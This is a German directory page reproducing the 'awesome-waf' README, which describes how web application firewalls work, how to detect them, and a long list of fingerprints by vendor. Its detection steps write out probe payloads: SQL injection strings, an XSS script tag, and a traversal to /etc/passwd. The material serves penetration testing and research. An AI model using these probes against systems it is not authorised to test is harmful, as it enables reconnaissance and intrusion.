Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Awesome-WAF — Alles über Web Application Firewalls (WAFs) aus Sicherheitssicht! 🔥 | Kitploit
Tools/GitHubGitHub/0xinfection/awesome-waf
WAF-UmgehungWebsicherheitLernen & BildungKuratierte Ressourcen
GitHub0xinfection/awesome-waf

Awesome-WAF

Alles über Web Application Firewalls (WAFs) aus Sicherheitssicht! 🔥

Repository anzeigen
7.6k1.2kvor 4 MonatenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Awesome WAF Awesome

Alles über Web Application Firewalls (WAFs) aus Sicherheitsperspektive. 🔥

Vorwort: Dies war ursprünglich meine eigene Sammlung zu WAFs. Ich stelle es als Open Source zur Verfügung, in der Hoffnung, dass es für Pentester und Forscher da draußen nützlich sein wird. Wie es so schön heißt: „Die Gemeinschaft lernt voneinander.“

Hauptlogo

Eine präzise Definition: Eine Firewall ist ein Sicherheitsrichtlinien-Erzwingungspunkt, der zwischen einer Webanwendung und dem Client-Endpunkt positioniert ist. Diese Funktionalität kann in Software oder Hardware implementiert sein, auf einem Appliance-Gerät oder auf einem typischen Server mit einem gängigen Betriebssystem laufen. Es kann ein eigenständiges Gerät oder in andere Netzwerkkomponenten integriert sein. (Quelle: PCI DSS IS 6.6)

Eine Web Application Firewall sitzt zwischen einem Benutzer und einer Webanwendung und hat die Aufgabe, jegliche schädliche Aktivität daran zu hindern, die Webanwendung zu erreichen. Eine WAF filtert entweder den schädlichen Teil der Anfrage heraus oder blockiert sie einfach.

Du kannst gerne beitragen.

Inhaltsverzeichnis:

  • Einleitung
    • Wie WAFs funktionieren
    • Betriebsmodi
  • Testmethodik
    • Wo suchen
    • Erkennungstechniken
  • WAF-Fingerabdrücke
  • Umgehungstechniken
    • Fuzzing/Bruteforcing
    • Regex-Reversing
    • Verschleierung/Kodierung
    • Browser-Bugs
    • HTTP-Header-Spoofing
    • Google-Dork-Ansatz
  • Bekannte Bypässe
  • Großartige Werkzeuge
    • Fingerprinting
    • Testen
    • Umgehung
  • Blogs & Writeups
  • Video-Präsentationen
  • Forschungspräsentationen und -papiere
    • Forschungspapiere
    • Präsentationsfolien
  • Lizenz & Danksagungen

Einleitung:

Wie WAFs funktionieren:

  • Verwendung einer Reihe von Regeln, um normale Anfragen von böswilligen Anfragen zu unterscheiden.
  • Manchmal verwenden sie einen Lernmodus, um automatisch Regeln hinzuzufügen, indem sie das Benutzerverhalten lernen.

Betriebsmodi:

  • Negatives Modell (Blacklist-basiert) - Ein Blacklisting-Modell verwendet voreingestellte Signaturen, um Anfragen zu blockieren, die eindeutig böswillig sind. Die Signaturen von WAFs, die in einem negativen Modell arbeiten, sind speziell darauf ausgelegt, Angriffe zu verhindern, die bestimmte Schwachstellen von Webanwendungen ausnutzen. Blacklist-basierte Web Application Firewalls sind eine gute Wahl für Webanwendungen, die dem öffentlichen Internet ausgesetzt sind, und sind sehr effektiv gegen große Schwachstellen. Z.B. Regel zum Blockieren aller <script>*</script>-Eingaben verhindert grundlegende Cross-Site-Scripting-Angriffe.
  • Positives Modell (Whitelist-basiert) - Ein Whitelisting-Modell erlaubt nur Webverkehr gemäß speziell konfigurierter Kriterien. Beispielsweise kann es so konfiguriert werden, dass nur HTTP-GET-Anfragen von bestimmten IP-Adressen zugelassen werden. Dieses Modell kann sehr effektiv sein, um potenzielle großflächige Angriffe zu blockieren, wird aber auch viel legitimen Verkehr blockieren. Whitelist-basierte Firewalls sind wahrscheinlich am besten für Webanwendungen in einem internen Netzwerk geeignet, die nur von einer begrenzten Gruppe von Personen, z.B. Mitarbeitern, genutzt werden sollen.
  • Gemischtes/Hybridmodell (Inklusives Modell) - Ein hybrides Sicherheitsmodell kombiniert sowohl Whitelisting als auch Blacklisting. Je nach den verschiedenen Konfigurationsdetails können hybride Firewalls die beste Wahl sowohl für Webanwendungen in internen Netzwerken als auch für Webanwendungen im öffentlichen Internet sein. Ein gutes Szenario kann sein, wenn eine Webanwendung dem öffentlichen Internet zugewandt ist (Blacklists verwenden), während das Admin-Panel nur einer Teilmenge von Benutzern zugänglich sein muss (Whitelists verwenden).

Testmethodik:

Wo suchen:

  • Achte immer auf gängige Ports, die eine WAF offenlegen, nämlich die Ports 80, 443, 8000, 8080 und 8888. Es ist jedoch wichtig zu beachten, dass eine WAF leicht auf jedem Port bereitgestellt werden kann, der einen HTTP-Dienst ausführt. Es ist gut, zuerst die HTTP-Dienstports zu enumerieren und dann nach WAFs zu suchen.
  • Einige WAFs setzen eigene Cookies in Anfragen (z.B. Citrix Netscaler, Yunsuo WAF).
  • Einige assoziieren sich mit separaten Headern (z.B. Anquanbao WAF, Amazon AWS WAF).
  • Einige ändern oft Header und mischen Zeichen, um Angreifer zu verwirren (z.B. Netscaler, Big-IP).
  • Einige geben sich im Server-Header zu erkennen (z.B. Approach, WTS WAF).
  • Einige WAFs zeigen sich im Antwortinhalt (z.B. DotDefender, Armor, Sitelock).
  • Andere WAFs antworten mit ungewöhnlichen Antwortcodes bei böswilligen Anfragen (z.B. WebKnight, 360 WAF).

Erkennungstechniken:

Um WAFs zu identifizieren, müssen wir sie (dummy) provozieren.

  1. Stelle eine normale GET-Anfrage von einem Browser, fange ab und zeichne die Antwort-Header auf (insbesondere Cookies).
  2. Stelle eine Anfrage von der Kommandozeile (z.B. cURL) und teste den Antwortinhalt und die Header (kein User-Agent enthalten).
  3. Sende GET-Anfragen an zufällige offene Ports und greife Banner ab, die die Identität der WAF preisgeben könnten.
  4. Injiziere auf Anmeldeseiten gängige (leicht erkennbare) Payloads wie " or 1 = 1 --.
  5. Injiziere auffällige Payloads wie <script>alert()</script> in Suchleisten, Kontaktformulare und andere Eingabefelder.
  6. Füge einen Dummy ../../../etc/passwd an einen zufälligen Parameter am Ende der URL an.
  7. Füge auffällige Schlüsselwörter wie ' OR SLEEP(5) OR ' an das Ende von URLs an jedem beliebigen Parameter an.
  8. Sende GET-Anfragen mit veralteten Protokollen wie HTTP/0.9 (HTTP/0.9 unterstützt keine POST-Anfragen).
  9. Oft variiert die WAF den Server-Header bei verschiedenen Arten von Interaktionen.
  10. Drop Action Technique - Sende ein rohes, maßgeschneidertes FIN/RST-Paket an den Server und identifiziere die Antwort.

    Tipp: Diese Methode kann leicht mit Werkzeugen wie HPing3 oder Scapy erreicht werden.

  11. Side Channel Attacks - Untersuche das Timing-Verhalten der Anfrage und des Antwortinhalts.

    Tipp: Weitere Details findest du in einem .

WAF-Fingerabdrücke

Möchtest du WAFs identifizieren? Lass uns sehen wie.

HINWEIS: Dieser Abschnitt enthält manuelle WAF-Erkennungstechniken. Du möchtest vielleicht zum nächsten Abschnitt wechseln.





## Evasion Techniques Schauen wir uns einige Methoden zur Umgehung und Umgehung von WAFs an.
Tool herunterladen
Blogbeitrag hier
WAFFingerabdrücke
360
  • Erkennbarkeit: Einfach
  • Erkennungsmethode:
    • Gibt bei ungewöhnlichen Anfragen den Statuscode 493 zurück.
    • Die Sperrseite kann einen Verweis auf das Verzeichnis wzws-waf-cgi/ enthalten.
    • Der Quelltext der blockierten Antwortseite kann Folgendes enthalten:
      • Verweis auf die URL wangshan.360.cn.
      • Textauszug Sorry! Your access has been intercepted because your links may threaten website security.
    • Antwortheader können den Header X-Powered-By-360WZB enthalten.
    • Blockierte Antwortheader enthalten den eindeutigen Header WZWS-Ray.
    • Der Server-Header kann den Wert qianxin-waf enthalten.
aeSecure
  • Erkennbarkeit: Mittel
  • Erkennungsmethode:
    • Der Inhalt der blockierten Antwort enthält das Bild aesecure_denied.png (im Quelltext sichtbar).
    • Antwortheader enthalten den Wert aeSecure-code.
Airlock
  • Erkennbarkeit: Mittel/Schwierig
  • Erkennungsmethode:
    • Set-Cookie-Header können enthalten:
      • Cookie-Feldnamen AL-SESS (Groß-/Kleinschreibung nicht beachtet).
      • Wert AL-LB (Groß-/Kleinschreibung nicht beachtet).
    • Die blockierte Antwortseite enthält:
      • Text Server detected a syntax error in your request.
      • Textauszug Check your request and all parameters.
AlertLogic
  • Erkennbarkeit: Schwierig
  • Erkennungsmethode:
    • Die blockierte Antwortseite enthält:
      • Textauszug We are sorry, but the page you are looking for cannot be found.
      • Text The page has either been removed, renamed or temporarily unavailable.
      • 404 Not Found in roter Schrift.
Aliyundun
  • Erkennbarkeit: Einfach
  • Erkennungsmethode:
    • Die blockierte Antwortseite enthält:
      • Textauszug Sorry, your request has been blocked as it may cause potential threats to the server's security.
      • Verweis auf die Site-URL errors.aliyun.com.
    • Der zurückgegebene blockierte Antwortcode ist 405.
Anquanbao
  • Erkennbarkeit: Einfach
  • Erkennungsmethode:
    • Gibt bei bösartigen Anfragen den blockierten HTTP-Antwortcode 405 zurück.
    • Der Inhalt der blockierten Antwort kann /aqb_cc/error/ oder hidden_intercept_time enthalten.
    • Antwortheader enthalten das Header-Feld X-Powered-by-Anquanbao.
Anyu
  • Erkennbarkeit: Einfach
  • Erkennungsmethode:
    • Der Inhalt der blockierten Antwort enthält Sorry! your access has been intercepted by AnYu.
    • Die blockierte Antwortseite enthält den Text AnYu- the green channel.
    • Antwortheader können den ungewöhnlichen Header WZWS-RAY enthalten.
Approach
  • Erkennbarkeit: Einfach
  • Erkennungsmethode:
    • Der Inhalt der blockierten Antwortseite kann Folgendes enthalten:
      • Überschrift Approach Web Application Firewall Framework.
      • Warnung Your IP address has been logged and this information could be used by authorities to track you..
      • Schlüsselwort Sorry for the inconvenience!.
      • Textauszug Approach infrastructure team.
    • Der Server-Header hat den Feldwert Approach.
Armor Defense
  • Erkennbarkeit: Einfach
  • Erkennungsmethode:
    • Der Inhalt der blockierten Antwort enthält:
      • Text This request has been blocked by website protection from Armor.
      • Auszug If you manage this domain please create an Armor support ticket.
ArvanCloud
  • Erkennbarkeit: Einfach
  • Erkennungsmethode:
    • Der Server-Header enthält das Schlüsselwort ArvanCloud.
ASPA
  • Erkennbarkeit: Einfach
  • Erkennungsmethode:
    • Der Server-Header enthält das Schlüsselwort ASPA-WAF.
    • Die Antwort enthält den eindeutigen Header ASPA-Cache-Status mit dem Inhalt HIT oder MISS.
ASP.NET Generic
  • Erkennbarkeit: Mittel
  • Erkennungsmethode:
    • Antwortheader können den Headerwert X-ASPNET-Version enthalten.
    • Der Inhalt der blockierten Antwortseite kann Folgendes enthalten:
      • This generic 403 error means that the authenticated user is not authorized to use the requested resource.
      • Schlüsselwort Error Code 0x00000000<.
    • Der X-Powered-By-Header hat den Feldwert ASP.NET.
Astra
  • Erkennbarkeit: Einfach
  • Erkennungsmethode:
    • Der Inhalt der blockierten Antwortseite kann Folgendes enthalten:
      • Sorry, this is not allowed. in h1.
      • Textauszug our website protection system has detected an issue with your IP address and wont let you proceed any further.
      • Verweis auf die URL www.getastra.com/assets/images/.
    • Antwort-Cookies haben den Feldwert cz_astra_csrf_cookie in den Antwortheadern.
AWS ELB
  • Erkennbarkeit: Mittel
  • Erkennungsmethode:
    • Antwortheader könnten Folgendes enthalten:
      • Cookie-Feldwert AWSALB.
      • Header X-AMZ-ID.
      • Header X-AMZ-REQUEST-ID.
    • Die Antwortseite kann Folgendes enthalten:
      • Access Denied als Schlüsselwort.
      • Anforderungs-Token-ID mit einer Länge von 20 bis 25 zwischen dem RequestId-Tag.
    • Das Server-Header-Feld enthält den Wert awselb/2.0.
Baidu Yunjiasu
  • Erkennbarkeit: Mittel
  • Erkennungsmethode:
    • Der Server-Header kann den Wert Yunjiasu-nginx enthalten.
    • Der Server-Header kann den Wert Yunjiasu enthalten.
Barikode
  • Erkennbarkeit: Einfach
  • Erkennungsmethode:
    • Der Inhalt der blockierten Antwortseite enthält:
      • Schlüsselwort BARIKODE.
      • Textauszug Forbidden Access in h1.
Barracuda
  • Erkennbarkeit: Mittel
  • Erkennungsmethode:
    • Antwort-Cookies können den Wert barra_counter_session enthalten.
    • Antwortheader können das Schlüsselwort barracuda_ enthalten.
  • Die Antwortseite enthält:
    • Überschrift You have been blocked.
    • Text You are unable to access this website.
Bekchy
  • Erkennbarkeit: Einfach
  • Erkennungsmethode:
    • Blockierte Antwortheader enthalten Bekchy - Access Denied.
    • Die blockierte Antwortseite enthält einen Verweis auf https://bekchy.com/report.
BinarySec
  • Erkennbarkeit: Mittel
  • Erkennungsmethode:
    • Antwortheader enthalten:
      • Feld X-BinarySec-Via.
      • Feld X-BinarySec-NoCache.
      • Der Server-Header enthält das Schlüsselwort BinarySec.
BitNinja
  • Erkennbarkeit: Einfach
  • Erkennungsmethode:
    • Die blockierte Antwortseite kann Folgendes enthalten:
      • Textauszug Security check by BitNinja.
      • your IP will be removed from BitNinja.
      • Textauszug Visitor anti-robot validation.
      • Text (You will be challenged by a reCAPTCHA page).
BIG-IP ASM
  • Erkennbarkeit: Mittel
  • Erkennungsmethode:
    • Antwortheader können den Schlüsselwortwert BigIP oder F5 enthalten.
    • Antwortheader-Felder können den Header X-WA-Info enthalten.
    • Antwortheader könnten einen durcheinandergebrachten Feldwert X-Cnection haben.
BlockDos
  • Erkennbarkeit: Mittel
  • Erkennungsmethode:
    • Der Server-Header enthält den Wert BlockDos.net.
Bluedon IST
  • Erkennbarkeit: Einfach
  • Erkennungsmethode:
    • Der Server-Header enthält den Feldwert BDWAF.
    • Die blockierte Antwortseite enthält den Textauszug Bluedon Web Application Firewall.
BulletProof Security Pro
  • Erkennbarkeit: Mittel
  • Erkennungsmethode:
    • Die blockierte Antwortseite enthält:
      • div mit der ID bpsMessage Textauszug.
      • Textauszug If you arrived here due to a search or clicking on a link click your Browser's back button to return to the previous page.
CDN NS Application Gateway
  • Erkennbarkeit: Einfach
  • Erkennungsmethode:
    • Die blockierte Antwortseite enthält den Textauszug CdnNsWAF Application Gateway.
Cerber (WordPress)
  • Erkennbarkeit: Schwierig
  • Erkennungsmethode:
    • Die blockierte Antwortseite enthält:
      • Textauszug We're sorry, you are not allowed to proceed.
      • Warnung Your request looks suspicious or similar to automated requests from spam posting software.
Chaitin Safeline
  • Erkennbarkeit: Schwierig
  • Erkennungsmethode:
    • Die blockierte Antwortseite enthält das Schlüsselwort event_id innerhalb von HTML-Kommentaren.
ChinaCache
  • Erkennbarkeit: Einfach
  • Erkennungsmethode:
    • Antwortheader enthalten das Feld Powered-by-ChinaCache.
Cisco ACE XML Gateway
  • Erkennbarkeit: Mittel
  • Erkennungsmethode:
    • Der Server-Header hat den Wert ACE XML Gateway gesetzt.
Cloudbric
  • Erkennbarkeit: Mittel
  • Erkennungsmethode:
    • Der Antwortinhalt enthält:
      • Überschrift Malicious Code Detected.
      • Textauszug Your request was blocked by Cloudbric.
      • Verweis auf die URL https://cloudbric.zendesk.com.
      • Text Cloudbric Help Center.
      • Seitentitel beginnend mit Cloudbric | ERROR!.
Cloudflare
  • Erkennbarkeit: Einfach
  • Erkennungsmethode:
    • Antwortheader könnten den Feldwert cf-ray haben.
    • Das Server-Header-Feld hat den Wert cloudflare.
    • Set-Cookie-Antwortheader haben das Cookie-Feld __cfuid=.
    • Der Seiteninhalt könnte Attention Required! oder Cloudflare Ray ID: enthalten.
    • Der Seiteninhalt kann DDoS protection by Cloudflare als Text enthalten.
    • Möglicherweise stoßen Sie auf CLOUDFLARE_ERROR_500S_BOX, wenn Sie ungültige URLs aufrufen.
CloudfloorDNS
  • Erkennbarkeit: Einfach
  • Erkennungsmethode:
    • Das Server-Header-Feld hat den Wert CloudfloorDNS WAF.
    • Der Blockseitentitel könnte CloudfloorDNS - Web Application Firewall Error sein.
    • Der Seiteninhalt kann die URL www.cloudfloordns.com/contact als Kontaktlink enthalten.
Cloudfront
  • Erkennbarkeit: Einfach
  • Erkennungsmethode:
    • Der Inhalt der blockierten Antwort enthält bei bösartigen Anfragen den Fehler Generated by cloudfront (CloudFront).
Comodo cWatch
  • Erkennbarkeit: Einfach
  • Erkennungsmethode:
    • Der Server-Header enthält den Wert Protected by COMODO WAF.
CrawlProtect
  • Erkennbarkeit: Einfach
  • Erkennungsmethode:
    • Antwort-Cookies könnten den Cookie-Namen crawlprotect enthalten.
    • Der Blockseitentitel enthält das Schlüsselwort CrawlProtect.
    • Der Inhalt der blockierten Antwort enthält bei bösartigen Anfragen den Wert
      This site is protected by CrawlProtect !!!.
Deny-All
  • Erkennbarkeit: Schwierig
  • Erkennungsmethode:
    • Der Antwortinhalt enthält den Wert Condition Intercepted.
    • Der Set-Cookie-Header enthält das Cookie-Feld sessioncookie.
Distil Web Protection
  • Erkennbarkeit: Einfach
  • Erkennungsmethode:
    • Antwortheader enthalten bei allen Anfragen den Feldwert X-Distil-CS.
    • Die blockierte Antwortseite enthält:
      • Überschrift Pardon Our Interruption....
      • Textauszug You have disabled javascript in your browser..
      • Text Something about your browser made us think that you are a bot..
DoSArrest Internet Security
  • Erkennbarkeit: Einfach
  • Erkennungsmethode:
    • Antwortheader enthalten den Feldwert X-DIS-Request-ID.
    • Der Server-Header enthält das Schlüsselwort DOSarrest.
DotDefender
  • Erkennbarkeit: Einfach
  • Erkennungsmethode:
    • Der Inhalt der blockierten Antwort enthält den Wert
      dotDefender Blocked Your Request.
    • Blockierte Antwortheader enthalten den Feldwert X-dotDefender-denied.
DynamicWeb Injection Check
  • Erkennbarkeit: Einfach
  • Erkennungsmethode:
    • Blockierte Antwortheader enthalten das Feld X-403-Status-By mit dem Wert dw-inj-check.
e3Learning Security
  • Erkennbarkeit: Einfach
  • Erkennungsmethode:
    • Der Server-Header enthält das Schlüsselwort e3Learning_WAF.
EdgeCast (Verizon)
  • Erkennbarkeit: Einfach
  • Erkennungsmethode:
    • Der Inhalt der blockierten Antwort enthält den Wert
      Please contact the site administrator, and provide the following Reference ID:EdgeCast Web Application Firewall (Verizon).
    • Bei bösartigen Anfragen wird der Antwortcode 400 Bad Request zurückgegeben.
Eisoo Cloud
  • Erkennbarkeit: Einfach
  • Erkennungsmethode:
    • Der Inhalt der blockierten Antwortseite kann Folgendes enthalten:
      • Verweis auf /eisoo-firewall-block.css.
      • URL www.eisoo.com.
      • Schlüsselwort © (year) Eisoo Inc..
    • Der Server-Header hat den Feldwert EisooWAF-AZURE/EisooWAF.
Expression Engine
  • Erkennbarkeit: Schwierig
  • Erkennungsmethode:
    • Die blockierte Antwortseite gibt in der Regel Invalid URI zurück.
    • Der Inhalt der blockierten Antwort enthält bei bösartigen GET-Abfragen den Wert Invalid GET Request.
    • Blockierte POST-Typ-Abfragen enthalten Invalid Data im Antwortinhalt.
F5 ASM
  • Erkennbarkeit: Schwierig
  • Erkennungsmethode:
    • Der Inhalt der blockierten Antwort enthält die Warnung
      The requested URL was rejected. Please consult with your administrator.
FortiWeb
  • Erkennbarkeit: Mittel
  • Erkennungsmethode:
    • Antwortheader enthalten bei bösartigen Anfragen FORTIWAFSID=.
    • Die blockierte Antwortseite enthält:
      • Verweis auf das Bildsymbol .fgd_icon.
      • Server Unavailable! als Überschrift.
      • Server unavailable. Please visit later. als Text.
GoDaddy
  • Erkennbarkeit: Einfach
  • Erkennungsmethode:
    • Die blockierte Antwortseite enthält den Wert
      Access Denied - GoDaddy Website Firewall.
GreyWizard
  • Erkennbarkeit: Einfach
  • Erkennungsmethode:
    • Die blockierte Antwortseite enthält:
      • Grey Wizard als Titel.
      • Textauszug Contact the website owner or Grey Wizard.
      • Textauszug We've detected attempted attack or non standard traffic from your IP address.
    • Der Server-Header enthält das Schlüsselwort greywizard.
Huawei Cloud
  • Erkennbarkeit: Einfach
  • Erkennungsmethode:
    • Die blockierte Antwortseite enthält:
      • Verweis auf das Fehlerbild account.hwclouds.com/static/error/images/404img.jpg.
      • Verweis auf die URL www.hwclouds.com.
      • Verweis auf die E-Mail hws_security@{site.tld} für Meldungen.
HyperGuard
  • Erkennbarkeit: Schwierig
  • Erkennungsmethode:
    • Der Set-Cookie-Header hat das Cookie-Feld ODSESSION= in den Antwortheadern.
IBM DataPower
  • Erkennbarkeit: Schwierig
  • Erkennungsmethode:
    • Antwortheader enthalten den Feldwert X-Backside-Transport mit dem Wert OK oder FAIL.
Imperva Incapsula
  • Erkennbarkeit: Einfach
  • Erkennungsmethode:
    • Der Inhalt der blockierten Antwortseite kann Folgendes enthalten:
      • Textauszug Powered By Incapsula.
      • Schlüsselwort Incapsula incident ID.
      • Schlüsselwort _Incapsula_Resource.
      • Schlüsselwort subject=WAF Block Page.
    • Normale GET-Anforderungsheader enthalten den Wert visid_incap.
    • Antwortheader können den Header-Feldnamen X-Iinfo enthalten.
    • Der Set-Cookie-Header hat die Cookie-Felder incap_ses und visid_incap.
Imunify360
  • Erkennbarkeit: Einfach
  • Erkennungsmethode:
    • Der Server-Header enthält das Schlüsselwort imunify360-webshield.
    • Die Antwortseite enthält:
      • Textauszug Powered by Imunify360.
      • imunify360 preloader, wenn der Antworttyp JSON ist.
    • Die blockierte Antwortseite enthält den Text protected by Imunify360.
IndusGuard
  • Erkennbarkeit: Mittel
  • Erkennungsmethode:
    • Der Server-Header enthält den Wert IF_WAF.
    • Der Inhalt der blockierten Antwort enthält die Warnung
      further investigation and remediation with a screenshot of this page.
    • Antwortheader enthalten einen eindeutigen Header X-Version.
Instart DX
  • Erkennbarkeit: Einfach
  • Erkennungsmethode:
    • Antwortheader enthalten den eindeutigen Header X-Instart-Request-ID.
    • Antwortheader enthalten den eindeutigen Header-Fingerabdruck X-Instart-WL.
    • Antwortheader enthalten den eindeutigen Header-Fingerabdruck X-Instart-Cache.
    • Die blockierte Antwortseite enthält den Text The requested URL was rejected. Please consult with your administrator.
ISA Server
  • Erkennbarkeit: Schwierig
  • Erkennungsmethode:
    • Die Antwortseite enthält:
      • Textauszug The ISA Server denied the specified Uniform Resource Locator (URL).
      • Textauszug The server denied the specified Uniform Resource Locator (URL). Contact the server administrator.
Janusec Application Gateway
  • Erkennbarkeit: Einfach
  • Erkennungsmethode:
    • Die blockierte Antwortseite zeigt ein Bild mit dem Namen und Logo JANUSEC.
    • Die blockierte Antwortseite zeigt bei bösartigen Anfragen Janusec Application Gateway an.
Jiasule
  • Erkennbarkeit: Einfach
  • Erkennungsmethode:
    • Die blockierte Antwortseite enthält einen Verweis auf die URL static.jiasule.com/static/js/http_error.js.
    • Der Set-Cookie-Header hat die Cookie-Felder _jsluid= oder jsl_tracking in den Antwortheadern.
    • Der Server-Header hat die Schlüsselwörter jiasule-WAF.
    • Der Inhalt der blockierten Antwort enthält das Schlüsselwort notice-jiasule.
KeyCDN
  • Erkennbarkeit: Einfach
  • Erkennungsmethode:
    • Der Server-Header enthält das Schlüsselwort KeyCDN.
KnownSec
  • Erkennbarkeit: Einfach
  • Erkennungsmethode:
    • Die blockierte Antwortseite zeigt das Bild ks-waf-error.png an (im Quelltext sichtbar).
KONA Site Defender (Akamai)
  • Erkennbarkeit: Einfach
  • Erkennungsmethode:
    • Der Server-Header enthält das Schlüsselwort AkamaiGHost.
LiteSpeed
  • Erkennbarkeit: Einfach
  • Erkennungsmethode:
    • Der Server-Header hat den Wert LiteSpeed.
    • Die Antwortseite enthält:
      • Text Proudly powered by LiteSpeed Web Server.
      • Verweis auf http://www.litespeedtech.com/error-page.
      • Access to resource on this server is denied.
Malcare
  • Erkennbarkeit: Mittel
  • Erkennungsmethode:
    • Die blockierte Antwortseite kann Folgendes enthalten:
      • Textauszug Blocked because of Malicious Activities.
      • Textauszug Firewall powered by MalCare.
MissionControl Application Shield
  • Erkennbarkeit: Einfach
  • Erkennungsmethode:
    • Das Server-Header-Feld enthält den Wert Mission Control Application Shield.
ModSecurity
  • Erkennbarkeit: Mittel/Schwierig
  • Erkennungsmethode:
    • Die blockierte Antwortseite enthält:
      • Textauszug This error was generated by Mod_Security.
      • Textauszug One or more things in your request were suspicious.
      • Textauszug rules of the mod_security module.
      • Textauszug mod_security rules triggered.
      • Verweis auf das Verzeichnis /modsecurity-errorpage/.
    • Der Server-Header kann die Schlüsselwörter Mod_Security oder NYOB enthalten.
    • Manchmal ist der Antwortcode bei einem Angriff 403, während der Antwortsatz ModSecurity Action lautet.
ModSecurity CRS
  • Erkennbarkeit: Schwierig
  • Erkennungsmethode:
    • Die Blockseite erscheint, wenn ein separater Anforderungsheader X-Scanner hinzugefügt und auf eine bestimmte Paranoia-Stufe gesetzt wird.
NAXSI
  • Erkennbarkeit: Einfach
  • Erkennungsmethode:
    • Die blockierte Antwortseite enthält This Request Has Been Blocked By NAXSI.
    • Antwortheader enthalten das ungewöhnliche Feld X-Data-Origin mit dem Schlüsselwort naxsi/waf.
    • Der Server-Header enthält den Schlüsselwortwert naxsi/waf.
    • Die blockierte Antwortseite kann den Fehlercode NAXSI blocked information enthalten.
Nemesida
  • Erkennbarkeit: Schwierig
  • Erkennungsmethode:
    • Die blockierte Antwortseite enthält Suspicious activity detected. Access to the site is blocked..
    • Enthält einen Verweis auf die E-Mail nwaf@{site.tld}.
Netcontinuum
  • Erkennbarkeit: Mittel
  • Erkennungsmethode:
    • Sitzungs-Cookies enthalten den Cookie-Feldnamen NCI__SessionId=.
NetScaler AppFirewall
  • Erkennbarkeit: Mittel
  • Erkennungsmethode:
    • Antwortheader können Folgendes enthalten
      • Der Header-Feldname Connection: ist zu nnCoection: verändert.
      • Cookie-Feldname ns_af=.
      • Feldname citrix_ns_id.
      • Schlüsselwort NSC.
      • Feldwert NS-CACHE.
NevisProxy
  • Erkennbarkeit: Mittel
  • Erkennungsmethode:
    • Antwortheader-Cookies enthalten das Schlüsselwort Navajo.
NewDefend
  • Erkennbarkeit: Einfach
  • Erkennungsmethode:
    • Die Antwortseite enthält:
      • Verweis auf die URL http://www.newdefend.com/feedback/misinformation/.
      • Verweis auf das Verzeichnis /nd_block/.
    • Der Server-Header enthält das Schlüsselwort NewDefend.
Nexusguard
  • Erkennbarkeit: Einfach
  • Erkennungsmethode:
    • Die blockierte Antwortseite enthält einen Verweis auf die URL speresources.nexusguard.com/wafpage/index.html.
NinjaFirewall
  • Erkennbarkeit: Mittel
  • Erkennungsmethode:
    • Der Titel der Antwortseite enthält NinjaFirewall: 403 Forbidden.
    • Die Antwortseite enthält:
      • Textauszug For security reasons, it was blocked and logged.
      • Schlüsselwort NinjaFirewall im Titel.
    • Gibt bei bösartigen Anfragen eine 403 Forbidden-Antwort zurück.
NSFocus
  • Erkennbarkeit: Einfach
  • Erkennungsmethode:
    • Der Server-Header enthält das Schlüsselwort NSFocus.
NullDDoS
  • Erkennbarkeit: Einfach
  • Erkennungsmethode:
    • Der Server-Header enthält das Schlüsselwort NullDDoS System.
onMessage Shield
  • Erkennbarkeit: Einfach
  • Erkennungsmethode:
    • Antwortheader enthalten das Header-Feld X-Engine mit dem Wert onMessage Shield.
    • Die blockierte Antwortseite enthält:
      • Schlüsselwort Blackbaud K-12 conducts routine maintenance.
      • This site is protected by an enhanced security system.
      • Verweis auf die URL https://status.blackbaud.com.
      • Verweis auf die URL https://maintenance.blackbaud.com.
OpenResty Lua WAF
  • Erkennbarkeit: Einfach
  • Erkennungsmethode:
    • Der Server-Header enthält das Schlüsselwort openresty/{version}.
    • Die blockierte Antwortseite enthält den Text openresty/{version}.
    • Der zurückgegebene blockierte Antwortcode ist 406 Not Acceptable.
Palo Alto
  • Erkennbarkeit: Mittel
  • Erkennungsmethode:
    • Die blockierte Antwortseite enthält Virus/Spyware Download Blocked.
    • Die Antwortseite könnte den Textauszug Palo Alto Next Generation Security Platform enthalten.
PentaWAF
  • Erkennbarkeit: Einfach
  • Erkennungsmethode:
    • Der Server-Header enthält das Schlüsselwort PentaWAF/{version}.
    • Die blockierte Antwortseite enthält den Text PentaWAF/{version}.
PerimeterX
  • Erkennbarkeit: Einfach
  • Erkennungsmethode:
    • Die blockierte Antwortseite enthält einen Verweis auf die URL
      https://www.perimeterx.com/whywasiblocked.
pkSecurityModule IDS
  • Erkennbarkeit: Mittel
  • Erkennungsmethode:
    • Der Antwortinhalt kann Folgendes enthalten
      • pkSecurityModule: Security.Alert.
      • Textauszug A safety critical request was discovered and blocked.
Positive Technologies Application Firewall
  • Erkennbarkeit: Schwierig
  • Erkennungsmethode:
    • Die blockierte Antwortseite enthält Forbidden in h1, gefolgt von:
    • Request ID: im Format yyyy-mm-dd-hh-mm-ss-{ref. code}
PowerCDN
  • Erkennbarkeit: Mittel
  • Erkennungsmethode:
    • Antwortheader können Folgendes enthalten
      • Via-Header mit dem Inhalt powercdn.com.
      • X-Cache-Header mit dem Inhalt powercdn.com.
      • X-CDN-Header mit dem Inhalt PowerCDN.
Profense
  • Erkennbarkeit: Einfach
  • Erkennungsmethode:
    • Set-Cookie-Header enthalten den Cookie-Feldnamen PLBSID=.
    • Der Server-Header enthält das Schlüsselwort Profense.
Proventia (IBM)
  • Erkennbarkeit: Schwierig
  • Erkennungsmethode:
    • Die blockierte Antwortseite könnte den Textauszug request does not match Proventia rules enthalten.
Puhui
  • Erkennbarkeit: Einfach
  • Erkennungsmethode:
    • Der Server-Header enthält das Schlüsselwort PuhuiWAF.
Qiniu CDN
  • Erkennbarkeit: Einfach
  • Erkennungsmethode:
    • Der Antwortinhalt kann Folgendes enthalten
      • Antwortheader enthalten den ungewöhnlichen Header X-Qiniu-CDN mit dem Wert entweder 0 oder 1.
Radware Appwall
  • Erkennbarkeit: Mittel
